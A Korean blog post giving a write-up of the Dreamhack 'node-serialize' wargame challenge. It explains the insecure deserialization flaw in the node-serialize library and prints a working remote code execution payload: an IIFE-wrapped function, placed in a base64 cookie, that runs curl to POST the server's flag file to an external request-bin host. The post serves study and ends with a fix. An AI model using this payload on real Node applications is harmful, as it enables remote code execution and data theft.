본문 바로가기
드림핵

[드림핵] node-serialize 풀이

by jwcs 2024. 3. 10.
728x90

https://dreamhack.io/wargame/challenges/685

 

node-serialize

Node로 구현된 간단한 서버입니다. 취약점을 찾아 Flag를 획득하세요! Flag는 /app/flag 에 있습니다. ( 플래그형식은 FLAG{} 입니다. ) [언인텐 패치] - 2022.12.01

dreamhack.io

 

직렬화 / 역직렬화에서 발생하는 취약점에 대한 문제다.

 

/

특별할 것 없는 인덱스 페이지다.

 

const express = require('express');
const cookieParser = require('cookie-parser');
const serialize = require('node-serialize');
const app = express();
app.use(cookieParser())

app.get('/', (req, res) => {
    if (req.cookies.profile) {
        let str = new Buffer.from(req.cookies.profile, 'base64').toString();

        // Special Filter For You :)

        let obj = serialize.unserialize(str);
        if (obj) {
            res.send("Set Cookie Success!");
        }
    } else {
        res.cookie('profile', "eyJ1c2VybmFtZSI6ICJndWVzdCIsImNvdW50cnkiOiAiS29yZWEifQ==", {
            maxAge: 900000,
            httpOnly: true
        });
        res.redirect('/');
    }

});

app.listen(5000);

전체 코드다.

 

let str = new Buffer.from(req.cookies.profile, 'base64').toString();

여기서 profile 쿠키 값을 base64로 디코딩 작업을 거치고 문자열로 변환한다는 것을 알 수 있다.

 

let obj = serialize.unserialize(str);

이후 unserialize를 하는데 여기서 취약점이 발생한다.

 

https://wrkholic84.github.io/assets/images/posts/20180514NodeJSRCE/NodeJSRCE.pdf

 

IIFE(Immediately Invoked Function Expressions)를 사용하여 함수를 직렬화를 하게되면 서버에서 deserialize할 때 해당 해당 함수를 실행하게 된다. 이를 통해 RCE를 할 수 있다.

 

var y = {
    rce: function () {
        require('child_process').exec('curl -X POST -H \"Content-Type: text/plain\" -d \"$(cat /app/flag)\" https://vdtuhia.request.dreamhack.games', function (error, stdout, stderr) { console.log(stdout) });
    }
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

해당 코드를 통해 직렬화한 값을 구할 수 있다.

 코드 분석을 해보면, `require('child_process')` 를 통해 `child_process` 모듈을 불러온다. `require('child_process').exec()`를 통해 `exec` 메서드를 실행시킬 수 있다.

 내부 명령어에 대해 해석해보자. `curl` 명령어를 통해 서버에 존재하는 flag 파일을 보내보자. `-X POST` 옵션을 통해 POST 메소드로 request를 보낼 수 있다. `-H` 옵션을 통해 헤더를 지정해줄 수 있다. 필자는 `text/plain`을 지정해줬지만 안해줘도 flag는 잘 나온다.

 `-d` 옵션을 통해 post 요청 바디에 포함시킬 값을 지정해줄 수 있다. `$()`을 통해 명령어 치환을 해주는 모습이다. 여기에는 `/app/flag` 파일의 내용이 들어갈 것이다.

serialize한 값

해당 코드 끝에 `()`를 붙여 IIFE로 만들어주자.

 

{"rce":"_$$ND_FUNC$$_function () {\r\n        require('child_process').exec('curl -X POST _H \\\"Content-Type: text/plain\\\" -d \\\"$(cat /app/flag)\\\" https://brxzekf.request.dreamhack.games', function (error, stdout, stderr) { console.log(stdout) });\r\n    }()"}

드림핵 리퀘스트 빈 키 세션이 만료되서 다시 새로운 url로 교체했다. 이 부분 참고해서 확인바란다.

위 코드를 base64로 인코딩하여 profile의 cookie에 넣어주면 rce가 될 것이다.

flag

짜잔

 

CVE-2017-5941

CVE-2017-5954

에 대해서 찾아보면 도움이 될 수 있을것 같다.

 

해결 방법

앞서 언급한 참고 사이트에서는 해당 모듈을 사용한 serialize / unserialize의 사용을 지양하라고 권고하고 있다. 다른 방식으로 직렬화 / 역직렬화를 사용해보자.

 

728x90
반응형